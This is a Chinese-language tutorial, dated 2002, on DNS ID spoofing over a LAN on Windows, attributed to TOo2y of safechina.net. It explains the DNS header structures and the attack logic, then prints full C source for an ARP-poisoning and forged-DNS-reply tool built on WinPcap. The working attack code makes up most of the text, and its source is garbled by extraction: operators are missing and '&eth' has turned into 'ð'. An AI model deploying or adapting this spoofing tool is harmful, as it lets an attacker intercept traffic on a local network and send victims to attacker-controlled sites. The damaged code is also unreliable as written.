电脑技术学习

Windows下DNS ID欺骗的原理与实现

dn001

  域名系统(DNS)是一种用于TCP/IP应用程序的分布式数据库,它提供主机名字和IP地址之间的转换信息。通常,网络用户通过UDP协议和DNS服务器进行通信,而服务器在特定的53 端口监听,并返回用户所需的相关信息。

  一.DNS协议的相关数据结构

  DNS数据报:

typedef strUCt dns
{
 unsigned short id;
 //标识,通过它客户端可以将DNS的请求与应答相匹配;
 unsigned short flags;
 //标志:[QR opcode AA TC RD RA zero rcode ]
 unsigned short quests;
 //问题数目;
 unsigned short answers;
 //资源记录数目;
 unsigned short author;
 //授权资源记录数目;
 unsigned short addition;
 //额外资源记录数目;
}DNS,*PDNS;

  在16位的标志中:QR位判定是查询/响应报文,opcode区别查询类型,AA判定是否为授权回答,TC判定是否可截断,RD判定是否期望递归查询,RA判定是否为可用递归,zero必须为0,rcode为返回码字段。

  DNS查询数据报:

typedef struct query
{
 unsinged char *name;
 //查询的域名,这是一个大小在0到63之间的字符串;
 unsigned short type;
 //查询类型,大约有20个不同的类型
 unsigned short classes;
 //查询类,通常是A类既查询IP地址。
}QUERY,*PQUERY;

DNS响应数据报:
typedef struct response
{
 unsigned short name;
 //查询的域名
 unsigned short type;
 //查询类型
 unsigned short classes;
 //类型码
 unsigned int  ttl;
 //生存时间
 unsigned short length;
 //资源数据长度
 unsigned int  addr;
 //资源数据
}RESPONSE,*PRESPONSE;

二.Windows下DNS ID欺骗的原理

  我们可以看到,在DNS数据报头部的id(标识)是用来匹配响应和请求数据报的。现在,让我们来看看域名解析的整个过程。客户端首先以特定的标识向DNS服务器发送域名查询数据报,在DNS服务器查询之后以相同的ID号给客户端发送域名响应数据报。这时客户端会将收到的DNS响应数据报的ID和自己发送的查询数据报ID相比较,假如匹配则表明接收到的正是自己等待的数据报,假如不匹配则丢弃之。

  假如我们能够伪装DNS服务器提前向客户端发送响应数据报,那么客户端的DNS缓存里域名所对应的IP就是我们自定义的IP了,同时客户端也就被带到了我们希望的网站。条件只有一个,那就是我们发送的ID匹配的DSN响应数据报在DNS服务器发送的响应数据报之前到达客户端。下图清楚的展现了DNS ID欺骗的过程:

Client <--response-- . . . . . .. . . . . . . . . . DNS Server
          <--[a.b.c == 112.112.112.112]-- Your Computer

  到此,我想大家都知道了DNS ID欺骗的实质了,那么如何才能实现呢?这要分两种情况:

  1. 本地主机与DNS服务器,本地主机与客户端主机均不在同一个局域网内,方法有以下几种:向客户端主机随机发送大量DNS响应数据报,命中率很低;向DNS服务器发起拒绝服务攻击,太粗鲁;BIND漏洞,使用范围比较窄。

  2. 本地主机至少与DNS服务器或客户端主机中的某一台处在同一个局域网内:我们可以通过ARP欺骗来实现可靠而稳定的DNS ID欺骗,下面我们将具体讨论这种情况。
  
  首先我们进行DNS ID欺骗的基础是ARP欺骗,也就是在局域网内同时欺骗网关和客户端主机(也可能是欺骗网关和DNS服务器,或欺骗DNS服务器和客户端主机)。我们以客户端的名义向网关发送ARP响应数据报,不过其中将源MAC地址改为我们自己主机的MAC地址;同时以网关的名义向客户端主机发送ARP响应数据报,同样将源MAC地址改为我们自己主机的MAC地址。这样以来,网关看来客户端的MAC地址就是我们主机的MAC地址;客户端也认为网关的MAC地址为我们主机的MAC地址。由于在局域网内数据报的传送是建立在MAC地址之上了,所以网关和客户端之间的数据流通必须先通过本地主机。

  在监视网关和客户端主机之间的数据报时,假如发现了客户端发送的DNS查询数据报(目的端口为53),那么我们可以提前将自己构造的DNS响应数据报发送到客户端。注重,我们必须提取有客户端发送来的DNS查询数据报的ID信息,因为客户端是通过它来进行匹配认证的,这就是一个我们可以利用的DNS漏洞。这样客户端会先收到我们发送的DNS响应数据报并访问我们自定义的网站,虽然客户端也会收到DNS服务器的响应报文,不过已经来不及了,哈哈。


  三.核心代码分析

  主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报。测试环境:Windows2000 + VC6.0 + Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersIPEnableRouter = 0x1。

  1.sniff线程:
  PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
  //将网卡设置为混杂模式
  PacketSetBuff(lpadapter,500*1024);
  //设置网络适配器的内核缓存;
  PacketSetReadTimeout(lpadapter,1);
  //设置等待时间;
  PacketReceivePacket(lpadapter,lppacketr,TRUE);
  //接收网络数据报;
  checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
  //计算校验和;
  PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
  //初始化一个_PACKET结构,发送DNS响应数据报;

2.arpspoof线程;
  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
  //初始化ARP响应数据报;
  PacketSendPacket(lpadapter,lppackets,TRUE);
  //发送ARP欺骗的响应数据报;
  
  3.getmac()函数
  GetAdaptersInfo(padapterinfo,&adapterinfosize);
  //获取网络适配器的属性;
  SendARP(destip,0,pulmac,&ullen);
  //发送ARP请求数据报,过去网络主机的MAC地址;
  
  4.main()函数
  PacketGetAdapterNames((char *)adaptername,&adapterlength);
  //获得本地主机的网络适配器列表和描述;
  lpadapter=PacketOpenAdapter(adapterlist[open-1]); 
  //打开指定的网络适配器;
  CreateThread(NULL,0,sniff,NULL,0,&threadrid);
  CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
  //创建两个线程;
  WaitForMultipleObjects(2,thread,FALSE,INFINITE);
  //等待其中的某个线程结束;

  四.小结与后记

  局域网内的网络安全是一个值得大家关注的问题,往往轻易发起各种欺骗攻击,这是局域网自身的属性所决定的--网络共享。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击,假如在广域网上,则比较麻烦。不过也有一些例外情况:假如IE中使用代理服务器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;假如你访问的不是网站主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失败告终。假如你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存。

五.附件源代码

#include <packet32.h>
#include <iphlpapi.h>
#include <stdio.h>

#define ETH_IP            0x0800
#define ETH_ARP           0x0806
#define ARP_REQUEST         0x0001
#define ARP_REPLY          0x0002
#define ARP_HARDWARE         0x0001
#define MAX_NUM_ADAPTER       10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020

#pragma pack(push,1)

typedef struct ethdr
{
  unsigned char eh_dst[6];
  unsigned char eh_src[6];
  unsigned short eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr
{
  unsigned short arp_hdr;
  unsigned short arp_pro;
  unsigned char  arp_hln;
  unsigned char  arp_pln;
  unsigned short arp_opt;
  unsigned char  arp_sha[6];
  unsigned long  arp_spa;
  unsigned char  arp_tha[6];
  unsigned long  arp_tpa;
}ARPHDR,*PARPHDR;


typedef struct iphdr
{
  unsigned char h_lenver;
  unsigned char tos;
  unsigned short total_len;
  unsigned short ident;
  unsigned short frag_and_flags;
  unsigned char ttl;
  unsigned char protocol;
  unsigned short checksum;
  unsigned int  sourceip;
  unsigned int  destip;
}IPHDR,*PIPHDR;

typedef struct psd
{
  unsigned int  saddr;
  unsigned int  daddr;
  char      mbz;
  char      ptcl;
  unsigned short udpl;
}PSD,*PPSD;

typedef struct udphdr
{
  unsigned short souceport;
  unsigned short destport;
  unsigned short length;
  unsigned short checksum;
}UDPHDR,*PUDPHDR;

typedef struct dns
{
  unsigned short id;
  unsigned short flags;
  unsigned short quests;
  unsigned short answers;
  unsigned short author;
  unsigned short addition;
}DNS,*PDNS;

typedef struct query
{
  unsigned short type;
  unsigned short classes;
}QUERY,*PQUERY;
  
typedef struct response
{
  unsigned short name;
  unsigned short type;
  unsigned short classes;
  unsigned int  ttl;
  unsigned short length;
  unsigned int  addr;
}RESPONSE,*PRESPONSE;

#pragma pack(pop)

unsigned short checksum(USHORT *buffer,int size)
{
  unsigned long cksum=0;
  while(size>1)
  {
    cksum+=*buffer++;
    size-=sizeof(unsigned short);
  }
  if(size)
    cksum+=*buffer;
  cksum=(cksum>>16)+(cksum & 0xffff);
  cksum+=(cksum>>16);
  return (unsigned short)(~cksum);
}

LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
IPAddr  myip,firstip,secondip,virtualip;
UCHAR   mmac[6]={0},fmac[6]={0},smac[6]={0};
char   adapterlist[MAX_NUM_ADAPTER][1024];

void start()
{
  printf("===[ T-DNS Spoof, by TOo2y    ]===n");
  printf("===[ TOo2y@safechina.net ]===n");
  printf("===[ Homepage: www.safechina.net ]===n");
  printf("===[ Date: 10-15-2002      ]===nn");
  return;
}

void usage()
{
  printf("Usage: T-DNS Firstip Secondip Virtualipn");
  return;
}

DWord WINAPI sniff(LPVOID no)
{
  printf("nI am sniffing...n");   

  char   *buf;
  char   *pchar;
  char   temp[1024];
  char   sendbuf[1024];
  char   recvbuf[1024*250];
  struct  bpf_hdr   *hdr;
  unsigned char    *dname; 
     unsigned long    ulbytesreceived,off,ulen;

  ETHDR  ethr,eths;
  IPHDR  ipr,ips;
  PSD   psds;
     UDPHDR  udpr,udps;
  DNS   dnsr,dnss;
     QUERY  queryr,querys;
  RESPONSE responses;
  
  if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
  {
    printf("Warning: Unable to set the adapter to promiscuous mode!n");
  }


  if(PacketSetBuff(lpadapter,500*1024)==FALSE)
  {
    printf("PacketSetBuff Error: %dn",GetLastError());
    return -1;
  }

  if(PacketSetReadTimeout(lpadapter,1)==FALSE)
  {
    printf("Warning: Unable to set the timeout!n");
  }

  if((lppacketr=PacketAllocatePacket())==FALSE)
  {
    printf("PacketAllocatePacket Receive Error: %dn",GetLastError());
    return -1;
  }

  PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));

  while(1)
  {
    if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
    {
         break;     
    }

    ulbytesreceived=lppacketr->ulBytesReceived;
    buf=(char *)lppacketr->Buffer;
    off=0;

     while(off<ulbytesreceived)
  {
       hdr=(struct bpf_hdr *)(buf+off);
      off+=hdr->bh_hdrlen; 
       pchar=(char *)(buf+off);
      off=Packet_WORDALIGN(off+hdr->bh_caplen);

      ethr=*(ETHDR *)pchar;
       if(ethr.eh_type==htons(ETH_IP))
    {
            ipr=*(IPHDR *)(pchar+sizeof(ETHDR));
        if(ipr.protocol!=17)
      {
           continue;
      }
      if((ipr.sourceip!=secondip) && (ipr.sourceip!=firstip))
      {
        continue;
      }

        udpr=*(UDPHDR *)(pchar+sizeof(ETHDR)+sizeof(IPHDR));
      ulen=ntohs(udpr.length)-sizeof(UDPHDR)-sizeof(DNS)-sizeof(QUERY);
      dname=(unsigned char *)malloc(ulen*sizeof(unsigned char));
        if(udpr.destport==htons(53))            
      {
              printf("Get a DNS Packet...t");     

        memset(sendbuf,0,sizeof(sendbuf));
          memcpy(&dnsr,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),sizeof(DNS));
          memcpy(dname,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),ulen);
          memcpy(&queryr.type,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,2);
           memcpy(&queryr.classes,pchar+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+2,2);

          responses.name=htons(0xC00C); 
          responses.type=queryr.type;
          responses.classes=queryr.classes;
           responses.ttl=0xFFFFFFFF;
          responses.length=htons(4);
          responses.addr=virtualip;

           querys.classes=queryr.classes;
              querys.type=queryr.type;

        dnss.id=dnsr.id;
          dnss.flags=htons(0x8180);   
          dnss.quests=htons(1);
        dnss.answers=htons(1);
          dnss.author=0;
          dnss.addition=0;

          udps.souceport=udpr.destport;
          udps.destport=udpr.souceport;
        udps.length=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
          udps.checksum=0;     
        
          ips.h_lenver=(4<<4sizeof(IPHDR)/sizeof(unsigned int));
          ips.tos=0;
          ips.total_len=ntohs(sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
          ips.ident=htons(12345);
        ips.frag_and_flags=0;
          ips.ttl=255;
          ips.protocol=IPPROTO_UDP;
          ips.checksum=0;  
          ips.sourceip=ipr.destip;
        ips.destip=ipr.sourceip;


                  psds.saddr=ips.sourceip;
          psds.daddr=ips.destip;
          psds.mbz=0;
        psds.ptcl=IPPROTO_UDP;
          psds.udpl=htons(sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));

        memset(temp,0,sizeof(temp));
          memcpy(temp,&psds,sizeof(PSD));
          memcpy(temp+sizeof(PSD),&udps,sizeof(UDPHDR));
        memcpy(temp+sizeof(PSD)+sizeof(UDPHDR),&dnss,sizeof(DNS));
          memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
        memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
          memcpy(temp+sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));
        udps.checksum=checksum((USHORT *)temp,sizeof(PSD)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY)+sizeof(RESPONSE));
        
        memset(temp,0,sizeof(temp));
          memcpy(temp,&ips,sizeof(IPHDR));
          ips.checksum=checksum((USHORT *)temp,sizeof(IPHDR));

          eths.eh_type=ethr.eh_type;
        memcpy(ðs.eh_src,ðr.eh_dst,6);
          memcpy(ðs.eh_dst,ðr.eh_src,6);

          memcpy(sendbuf,ðs,sizeof(ETHDR));
          memcpy(sendbuf+sizeof(ETHDR),&ips,sizeof(IPHDR));
          memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR),&udps,sizeof(UDPHDR));
        memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR),&dnss,sizeof(DNS));
          memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS),dname,ulen);
        memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen,&querys,sizeof(QUERY));
          memcpy(sendbuf+sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+sizeof(QUERY),&responses,sizeof(RESPONSE));

        PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR)+sizeof(IPHDR)+sizeof(UDPHDR)+sizeof(DNS)+ulen+4+sizeof(RESPONSE));
                if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
          {
                printf("PacketSendPacket in DNS Spoof Error: %dn",GetLastError());
                break;
        }
          printf("Send DNS Spoof Packet Successfully!n");
        }
    }
      }
  }
  return 0;
}

DWORD WINAPI arpspoof(LPVOID no)
{
  printf("I am arpspoofing...nn");

  char  sendbuf[1024];
  struct sockaddr_in fsin,ssin;
  ETHDR eth;
  ARPHDR arp;

  fsin.sin_addr.s_addr=firstip;
  ssin.sin_addr.s_addr=secondip;

  eth.eh_type=htons(ETH_ARP);
  arp.arp_hdr=htons(ARP_HARDWARE);
     arp.arp_pro=htons(ETH_IP);
  arp.arp_hln=6;
  arp.arp_pln=4;
  arp.arp_opt=htons(ARP_REPLY);

  do
  {
    memcpy(eth.eh_dst,fmac,6);
    memcpy(arp.arp_tha,fmac,6);
    arp.arp_tpa=firstip;
    arp.arp_spa=secondip;
    memcpy(eth.eh_src,mmac,6);
    memcpy(arp.arp_sha,mmac,6);


    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,ð,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
      printf("PacketSendPacket in arpspoof Error: %dn",GetLastError());
      return -1;
    }
    Sleep(500);

    memcpy(eth.eh_dst,smac,6);
    memcpy(arp.arp_tha,smac,6);
    arp.arp_tpa=secondip;
    arp.arp_spa=firstip;
    memcpy(eth.eh_src,mmac,6);
    memcpy(arp.arp_sha,mmac,6);

    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,ð,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
      printf("PacketSendPacket in arpspoof Error: %dn",GetLastError());
      return -1;
    }
    Sleep(500);
  }while(1);
  
  return 0;
}

BOOL getmac()
{
  HRESULT hr;
  IPAddr  destip;
  ULONG  pulmac[2];
  ULONG  ullen;

  DWORD       err;
  DWORD       fixedinfosize=0;
  DWORD       adapterinfosize=0;
  PIP_ADAPTER_INFO padapterinfo;
  PIP_ADDR_STRING  paddrstr;

  if((err=GetAdaptersInfo(NULL,&adapterinfosize))!=0)
  {
    if(err!=ERROR_BUFFER_OVERFLOW)
    {
      printf("GetAdapterInfo size Error: %dn",GetLastError());
      return FALSE;
    }
  }

  if((padapterinfo=(PIP_ADAPTER_INFO)GlobalAlloc(GPTR,adapterinfosize))==NULL)
  {
    printf("Memory allocation Error: %dn",GetLastError());
    return FALSE;
  }

  if((err=GetAdaptersInfo(padapterinfo,&adapterinfosize))!=0)
  {
    printf("GetAdaptersInfo Error: %dn",GetLastError());
    return FALSE;
  }

  memcpy(mmac,padapterinfo->Address,6);   
  paddrstr=&(padapterinfo->IpAddressList);
  myip=inet_addr(paddrstr->IpAddress.String);

ullen=6;
  memset(pulmac,0xff,sizeof(pulmac));  
  destip=firstip;
  if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
  {
    printf("SendARP firstip Error: %dn",GetLastError());
    return FALSE;
  }
  memcpy(fmac,pulmac,6);

  memset(pulmac,0xff,sizeof(pulmac));
  destip=secondip;
  if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
  {
    printf("SendARP secondip Error: %dn",GetLastError());
    return FALSE;
  }
  memcpy(smac,pulmac,6);

  return TRUE;
}


int main(int argc,char *argv[])
{
  HANDLE  thread[2];
  WCHAR  adaptername[8192];
  WCHAR  *name1,*name2;
  ULONG  adapterlength;
  DWORD  threadsid,threadrid;
  int   adapternum=0,open,i;

  system("cls.exe");
  start();
  if(argc!=4)
  {
    usage();
    return -1;
  }


  firstip=inet_addr(argv[1]);
  secondip=inet_addr(argv[2]);
  virtualip=inet_addr(argv[3]);
  if(getmac()==FALSE)
  {
    return -1;
  }

  adapterlength=sizeof(adaptername);

  if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
  {
    printf("PacketGetAdapterNames Error: %dn",GetLastError());
    return -1;
  }

  name1=adaptername;
  name2=adaptername;
  i=0;

  while((*name1!='') (*(name1-1)!=''))
  {
    if(*name1=='')
    {
      memcpy(adapterlist[i],name2,2*(name1-name2));
      name2=name1+1;
      i++;
    }
    name1++;
  }

  adapternum=i;
  printf("Adapters Installed: n");
  for(i=0;i<adapternum;i++)
  {
    wprintf(L"%d - %sn",i+1,adapterlist[i]); 
  }
  do
  {
    printf("nSelect the number of the adapter to open: ");
    scanf("%d",&open);
    if(open>=1 && open<=adapternum)
      break;
  }while(open<1 open>adapternum);

  lpadapter=PacketOpenAdapter(adapterlist[open-1]);
  if(!lpadapter (lpadapter->hFile==INVALID_HANDLE_VALUE))
  {
    printf("PacketOpenAdapter Error: %dn",GetLastError());
    return -1;
  }

  if((lppackets=PacketAllocatePacket())==FALSE)
  {
    printf("PacketAllocatePacket Send Error: %dn",GetLastError());
    return -1;
  }

  thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
  if(thread[0]==NULL)
  {
    printf("CreateThread for sniffer Error: %dn",GetLastError());
    return -1;
  }
  thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
  if(thread[1]==NULL)
  {
    printf("CreateThread for arpspoof Error: %dn",GetLastError());
    return -1;
  }
  WaitForMultipleObjects(2,thread,FALSE,INFINITE);

  CloseHandle(thread[0]);
  CloseHandle(thread[1]);
  PacketFreePacket(lppackets);
  PacketFreePacket(lppacketr);
  PacketCloseAdapter(lpadapter);

  return 0;
}